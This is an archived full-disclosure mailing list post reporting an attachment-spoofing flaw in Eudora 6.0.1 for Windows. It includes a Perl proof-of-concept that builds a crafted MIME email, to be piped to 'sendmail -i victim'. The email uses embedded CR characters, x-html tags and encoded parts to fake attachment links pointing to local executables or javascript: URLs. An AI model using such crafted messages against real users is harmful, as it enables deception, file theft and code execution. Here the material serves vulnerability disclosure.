full-disclosure - Eudora 6.0.1 attachment spoof

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From: psz at maths.usyd.edu.au (Paul Szabo)
Subject: Eudora 6.0.1 attachment spoof

Eudora 6.0.1 for Windows was released recently. The buffer overflow (and
code execution) with long spoofed attachment names seems to be fixed; the
spoofing itself is not, though it was known for years.

Spoofing demo (essentially identical to 6.0 version) below.

Cheers,

Paul Szabo - psz@...hs.usyd.edu.au  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia

---

#!/usr/bin/perl --

use MIME::Base64;

print "From: me\n";
print "To: you\n";
print "Subject: Eudora 6.0 on Windows spoof\n";
print "MIME-Version: 1.0\n";
print "Content-Type: multipart/mixed; boundary=\"zzz\"\n";
print "\n";
print "This is a multi-part message in MIME format.\n";
print "--zzz\n";
print "Content-Type: text/plain\n";
print "Content-Transfer-Encoding: 7bit\n";
print "\n";

print "Pipe the output of this script into:   sendmail -i victim\n";

print "\nQuestion: Besides In.mbx, Eudora 6.0.1 also keeps In.mbx.001
and In.mbx.002 files. Any way to turn this wasteful feature off?\n";

print "\nWith spoofed attachments, we could 'steal' files if the message
was forwarded (not replied to).\n";

print "\nWithin plain-text email (or plain-text, inline MIME parts) embedded
CR=x0d characters get converted internally into a NUL=x00 and ignored,
so we can spoof \"attachment converted\" lines:\n";

print "\nThe following work fine (but are boring and/or put up warnings):\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";
print "Attachment Converted\r: c:\\winnt\\system32\\calc.exe\n";
print "(Note how JavaScript is done with IE, web with default browser Netscape)\n";
print "Attachment Converted\r: <A href=javascript:alert(%27hello%27)>hello.txt</a>\n";
print "Attachment Converted\r: <A href=http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx>web.txt</a>\n";
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file.txt</a>\n";

print "\nIf we can guess the full path to the attach directory then can
change the name shown to anything we like, but get broken icon:\n";
print "Attachment Converted\r: <A href=H:/windows/.eudora/attach/calc>file.txt</a>\n";

print "\nCuteness value only:\n";
print "Attachment Converted\r: <A href=c:/winnt/system32/calc.exe>file1.txt</a> xyz <A href=c:/winnt/system32/calc.exe>file2.txt</a>\n";

print "\n<x-html>
With <b>HTML</b> <i>inclusions</i> we can do
<a href=c:/winnt/system32/calc.exe>file</a>,
<a href=\"http://www.maths.usyd.edu.au:8000/u/psz/securepc.html#Eudoraxx\">http</a>
and
<a href=\"javascript:alert(\x27hello\x27)\">javascript</a>
references. Any way to exploit this?
</x-html>\n";

print "\n<x-rich>
Can also do RTF inclusions. Can this be abused?
</x-rich>\n";

print "\nThose <x-xyz></x-xyz> constructs allow spoofing
attachments easily, without embedded CR:\n\n";
print "HTML\n";
print "<x-html></x-html>Attachment Converted: \"xyz\"\n";
print "Rich\n";
print "<x-rich></x-rich>Attachment Converted: \"xyz\"\n";
print "Flowed\n";
print "<x-flowed></x-flowed>Attachment Converted: \"xyz\"\n";

print "\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"plain.txt\"\n";
print "Content-Transfer-Encoding: 7bit\n";
print "Content-Disposition: inline; filename=\"plain.txt\"\n";
print "\n";
print "Within a 'plain' attachment:\n";
print "Attachment Converted\r: \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"qp.txt\"\n";
print "Content-Transfer-Encoding: quoted-printable \n";
print "Content-Disposition: inline; filename=\"qp.txt\"\n";
print "\n";
print "Within quoted-printable encoded parts still need the embedded CR:\n";
print "=41ttachment=20=43onverted\r=3a \"c:\\winnt\\system32\\calc.exe\"\n";

print "\n--zzz\n";
print "Content-Type: text/plain; name=\"b64.txt\"\n";
print "Content-Transfer-Encoding: base64\n";
print "Content-Disposition: inline; filename=\"b64.txt\"\n";
print "\n";
$z = "Within base64 encoded (plain-text, inline) MIME parts, can spoof\r
without embedded CR (but line termination is CR-NL):\r
Attachment Converted: \"c:\\winnt\\system32\\calc.exe\"\r\n";
print encode_base64($z);

print "\n--zzz--\n";
print "\n";